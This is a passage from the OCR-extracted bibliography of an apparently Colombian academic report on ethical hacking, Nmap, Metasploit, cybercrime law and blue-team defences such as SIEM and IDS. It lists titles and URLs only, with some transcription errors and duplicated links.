https://www.comptia.org/blog/what-is-nmap

112

o De Luz, S (2024) Realiza escaneos de puertos con Nmap a cualquier servidor o
sistema. Red Zone, Consultado el 10 de octubre de 2024.

https://www.redeszone.net/tutoriales/configuracion-puertos/nmap-escanear-puertos-comandos/

o Fortinet (2024) Vulnerabilidades y exposiciones comunes explicadas. Fortinet,
Consultado el 12 de octubre de 2024.

https://www.fortinet.com/lat/resources/cyberglossary/cve#:~:text=Las%20vulnerabilidades%20y

%20exposiciones%20comunes,describe%2010s%20riesgos%20conocidos%20p%C3%BAblicam

ente.

. Funcion Pablica (2009, 5 de enero) LEY 1273 DE 2009. Funcién publica,
consultado el 8 de octubre de 2024.

https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492#:~:text=El%20que

%2C%20sin%200rden%20judicial,y%20d0s%20(72)%20meses.

. Funcién Pablica (2009, 5 de enero) LEY 1273 DE 2009. Funcién publica,
consultado el 9 de octubre de 2024.

https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981

o Holm security (s/f) What is Exploit-db Database. Holm security, Consultado el 12

de octubre de 2024. https://support.holmsecurity.com/knowledge/what-is-exploit-db-database



https://www.redeszone.net/tutoriales/configuracion-puertos/nmap-escanear-puertos-comandos/
https://www.fortinet.com/lat/resources/cyberglossary/cve#:~:text=Las%20vulnerabilidades%20y%20exposiciones%20comunes,describe%20los%20riesgos%20conocidos%20p%C3%BAblicamente
https://www.fortinet.com/lat/resources/cyberglossary/cve#:~:text=Las%20vulnerabilidades%20y%20exposiciones%20comunes,describe%20los%20riesgos%20conocidos%20p%C3%BAblicamente
https://www.fortinet.com/lat/resources/cyberglossary/cve#:~:text=Las%20vulnerabilidades%20y%20exposiciones%20comunes,describe%20los%20riesgos%20conocidos%20p%C3%BAblicamente
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492#:~:text=El%20que%2C%20sin%20orden%20judicial,y%20dos%20(72)%20meses
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492#:~:text=El%20que%2C%20sin%20orden%20judicial,y%20dos%20(72)%20meses
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981
https://support.holmsecurity.com/knowledge/what-is-exploit-db-database

113

. Pinguin, M. (2022) CURSO DE HACKING ETICO - Cémo Usar METASPLOIT
en KALI LINUX. jiEl Rincon del Hacker!!, Consultado el 12 de octubre de 2024.

https://www.youtube.com/watch?v=Ipkf7hi3J10Q

. Pinguin, M. (2022) CURSO DE HACKING ETICO - La Mejor Forma de Instalar
Kali Linux en Virtualbox #2. jjEl Rincon del Hacker!!, Consultado el 13 de octubre de 2024.

https://www.youtube.com/watch?v=v5JZ1eRtivg&list=PL Md59HZRUmMEg539WqgqgJjbsvto

4\V/3fRwn5&index=2

. Policia Nacional (s/f). Ley 1581 de 2012. Normativas sobre delitos informaticos,

consultado el 9 de octubre de 2024. https://www.policia.gov.co/denuncia-virtual/normatividad-

delitos-informaticos

J Thomas, E (2022) Encuentra Vulnerabilidades en la Red // TUTORIAL Nmap
para Hackers //EP 1. BountyHacker. Consultado el 13 de octubre de 2024.

https://www.youtube.com/watch?v=zoOAnbVplSlI

. Wikipedia (2024, 6 de septiembre) Metasplit, Wikipedia The Free Encyclopedia,

consultado el 10 de octubre de 2024. https://en.wikipedia.org/wiki/Metasploit

o Copnia. (2015). Cadigo de Etica para el ejercicio de la Ingenieria en general y sus
profesiones afines y auxiliares. Copnia. (pp. 3-26). https://www.copnia.gov.co/tribunal-de-

etica/codigo-de-etica


https://www.youtube.com/watch?v=Ipkf7hi3J1Q
https://www.youtube.com/watch?v=v5JZ1eRtivg&list=PLMd59HZRUmEg539WgqJjbsvto4V3fRwn5&index=2
https://www.youtube.com/watch?v=v5JZ1eRtivg&list=PLMd59HZRUmEg539WgqJjbsvto4V3fRwn5&index=2
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
https://www.youtube.com/watch?v=zoOAnbVplSI
https://en.wikipedia.org/wiki/Metasploit

114

o WBSgo (2022, 26 de mayo). 10 técnicas de control de acceso de seguridad
informética. WBSgo, Consultado el 21 de octubre.

https://whitebearsolutions.grupocibernos.com/blog/10-tecnicas-de-control-de-acceso-de-

sequridad-informatica-a-tener-en-cuenta

. Policia. (2009). Ley 1273 [LEY_1273 2009]. Policia. (pp. 1-4).

https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos

o Gamarra, G (2024, 5 de septiembre) Acuerdo de confidencialidad: ¢por qué es
necesario?. Factorial, Consultado el 22 de octubre de 2024. https://factorialhr.es/blog/acuerdo-
de-confidencialidad-
modelo/#:~:text=Qu%C3%A9%20es%20un%20acuerdo%20de%20confidencialidad &text=La%

20NDA%200%20contrato%20de, puesta%20a%20disposici%C3%B3n%20de%20terceros.

o CSIRT-cv, (n/s). NMAP 6_ Listado de comandos. Union Europea, consultado el 4

de noviembre del 2024. https://concienciat.qva.es/wp-

content/uploads/2018/03/infor nmap6 listado de comandos.pdf

o Alonso, C. (2018, 21 de marzo). Un informatico en el lado del mal, consultado el

5 de noviembre del 2024. https://www.elladodelmal.com/2018/03/metasploit-como-extender-

las.html


https://whitebearsolutions.grupocibernos.com/blog/author/wbsgo
https://whitebearsolutions.grupocibernos.com/blog/author/wbsgo
https://whitebearsolutions.grupocibernos.com/blog/10-tecnicas-de-control-de-acceso-de-seguridad-informatica-a-tener-en-cuenta
https://whitebearsolutions.grupocibernos.com/blog/10-tecnicas-de-control-de-acceso-de-seguridad-informatica-a-tener-en-cuenta
https://concienciat.gva.es/wp-content/uploads/2018/03/infor_nmap6_listado_de_comandos.pdf
https://concienciat.gva.es/wp-content/uploads/2018/03/infor_nmap6_listado_de_comandos.pdf
https://www.elladodelmal.com/2018/03/metasploit-como-extender-las.html
https://www.elladodelmal.com/2018/03/metasploit-como-extender-las.html

115

o Pinguin, M. (2023, 28 de abril). Tutorial METASPLOIT | Asi de VULNERABLE
es Tener un WINDOWS DESACTUALIZADO. jiEl Rincén del Hacker!!, Consultado el 6 de

noviembre de 2024. https://www.youtube.com/shorts/xrUoMC3ZT s

° Tello, J. (218, 20 de junio). PRACTICA VULNERABILIDAD PUERTO 80
METASPLOIT. Counsultado el 6 de noviembre del 2024.

https://www.youtube.com/watch?v=UWh9vJujreA

. Kotwani, B., Sawant, M. R., & Chopra, D. S. (2023). Red Teaming vs. Blue
Teaming: A Comparative Analysis of CyberSecurity Strategies in the Digital Battlefield.
INTERANTIONAL JOURNAL OF SCIENTIFIC RESEARCH IN ENGINEERING AND

MANAGEMENT, 07(12), 1-11. https://doi.org/10.55041/1JSREM27675

o Jesus.N (2020, 31 de marzo). Crear Usuarios en Windows Yy darles privilegios con
CMD. NAUZETJESUS. Consultado 7 de noviembre de 2024.

https://www.youtube.com/watch?v=tB 12XL Nijk

o Kasperky, (2024, 4 de octubre). Informe de Vulnerabilidades. Kaspersky,

Consultado el 8 de noviembre del 2024. https://support.kaspersky.com/es/kes-cloud/1.0/166189.



https://www.youtube.com/shorts/xrUoMC3ZTIs
https://www.youtube.com/watch?v=UWh9vJujreA
https://support.kaspersky.com/es/kes-cloud/1.0/166189

116

. Matin, E (2024), Pasos a seguir ante un ataque informatico. Cibernos Grupo,
consultado el 12 de noviembre de 2024. https://www. grupocibernos.com/blog/pasos-a-seguir-

ante-un-ataque-informatico

o S2 Grupo (2024, 13 de marzo). Blue team en ciberseguridad: definicion,
funciones y herramientas. S2 grupo, Consultado el 13 de noviembre 2024.
https://s2grupo.es/blue-team-en-ciberseguridad-definicion-funciones-y-
herramientas/#:~:text=EI1%20blue%20team%?20es%20un,una%20organizaci%C3%B3n%20contr

a%?20potenciales%20ciberataques.

. Microsoft (n/s). ¢Qué es la respuesta a incidentes?. Equipo Microsoft, consultado
el 13 de noviembre de 2024. https://www.microsoft.com/es-co/security/business/security-

101/what-is-incident-response

o ManageEngine (2024). ;Qué son y cdmo implementar los Controles de CIS (CIS
Controls / CIS ciberseguridad)?, ManageEngine, Consultado 16 de noviembre 2024.

https://www.manageengine.com/latam/controles-de-seguridad-critica-cis.html

o Adaptive Security (2024, 16 de mayo). CAPITULO 1: jControles Cis, una
estrategia de ciberseguridad!, Adaptive Security. consultado el 16 de noviembre del 2024.

https://www.youtube.com/watch?v=Qzbhzi7iZU0


https://s2grupo.es/blue-team-en-ciberseguridad-definicion-funciones-y-herramientas/#:~:text=El%20blue%20team%20es%20un,una%20organizaci%C3%B3n%20contra%20potenciales%20ciberataques
https://s2grupo.es/blue-team-en-ciberseguridad-definicion-funciones-y-herramientas/#:~:text=El%20blue%20team%20es%20un,una%20organizaci%C3%B3n%20contra%20potenciales%20ciberataques
https://s2grupo.es/blue-team-en-ciberseguridad-definicion-funciones-y-herramientas/#:~:text=El%20blue%20team%20es%20un,una%20organizaci%C3%B3n%20contra%20potenciales%20ciberataques
https://www.microsoft.com/es-co/security/business/security-101/what-is-incident-response
https://www.microsoft.com/es-co/security/business/security-101/what-is-incident-response
https://www.manageengine.com/latam/controles-de-seguridad-critica-cis.html

117

. CIS Security. (2020). CIS Center for Internet Security. CIS Benchmarks.

consultado el 16 de noviembre del 2024. https://www.cisecurity.org/cis-benchmarks/

o Moreno, Patricio. (2015). Técnicas de deteccion de ataques en un sistema SIEM
(Security Information and Event Management. Usfq. (pp. 31-63). consultado el 17 de noviembre

del 2024. http://repositorio.usfq.edu.ec/bitstream/23000/4911/1/120801.pdf

. Lopez, A. (2023, 01 de mayo). ¢Qué es un SIEM?, Software para la Gestion de
Informacion y Eventos de Seguridad, Tech TIC. consultado el 18 de noviembre del 2024.

https://www.youtube.com/watch?v=xgxJUUaD3lg.

o Rajendran, J., Jyothi, V., & Karri, R. (2011). Blue team red team approach to
hardware trust assessment. 2011 IEEE 29th International Conference on Computer Design

(ICCD), 285-288. https://doi.org/10.1109/ICCD.2011.6081410

. Lopez. M (2021, 27 de enero). Qué es un SIEM, cémo funciona y casos de uso,
Palabra Hacker. Consultado el 18 de noviembre del 2024.

https://www.youtube.com/watch?v=xlfwCetD5FM

. KasPersky. (2024). ;Qué es un firewall? Definicion y explicacion. Equipo
KasPersky, consultado el 21 de noviembre de 2024. https://latam.kaspersky.com/resource-

center/definitions/firewall


https://www.youtube.com/watch?v=xgxJUUaD3lg
https://www.youtube.com/watch?v=xIfwCetD5FM
https://latam.kaspersky.com/resource-center/definitions/firewall
https://latam.kaspersky.com/resource-center/definitions/firewall

118

. Lopez, A. (2023, 01 de mayo). ¢Qué es un SIEM?, Software para la Gestion de
Informacion y Eventos de Seguridad, Tech TIC. consultado el xxx de noviembre del 2024.

https://www.youtube.com/watch?v=xgxJUUaD3lg.

o Desdelinux. (n/s). Zeek: Herramienta de seguridad de red de cddigo abierto.
Equipo Desdelinux, consultado el 21 de noviembre de 2024.

https://www.fortinet.com/lat/resources/cyberglossary/snort.

. Cilleruelo, C (2024, 18 de abril). ¢Qué es Suricata en ciberseguridad?,
KeepCoding. consultado el 22 de noviembre del 2024. https://keepcoding.io/blog/que-es-

suricata-en-ciberseguridad/.

o McAfee (2024). ;Como protege el antivirus de McAfee tus dispositivos?, equipo

McAfee. consultado el 22 de noviembre del 2024. https://www.mcafee.com/es-co/antivirus.html

. Lopez, A. (2021, 14 de febrero). [IDS e IPS] Qué son los sistemas IDS e IPS y
sus diferencias, Tech TIC. consultado el 23 de noviembre del 2024.

https://www.youtube.com/watch?v=6-asM2Bh2yE.

o Baby, J. (2021, 14 de febrero). Taller de Seguridad Informética: #36.-Que es un
IDS, Liberando Mentes. consultado el 23 de noviembre del 2024.

https://www.youtube.com/watch?v=upVw6xIcWCQ.


https://www.youtube.com/watch?v=xgxJUUaD3lg
https://www.fortinet.com/lat/resources/cyberglossary/snort
https://keepcoding.io/blog/que-es-suricata-en-ciberseguridad/
https://keepcoding.io/blog/que-es-suricata-en-ciberseguridad/
https://www.mcafee.com/es-co/antivirus.html
https://www.youtube.com/watch?v=6-asM2Bh2yE
https://www.youtube.com/watch?v=upVw6xlcWCQ

119

. Caruso, A. (2019, 12 de abril). IPS & IDS Seguridad en redes, AngeloCaruso.

consultado el 23 de noviembre del 2024. https://www.youtube.com/watch?v=c1QdFeXg19E.


https://www.youtube.com/watch?v=c1QdFeXg19E

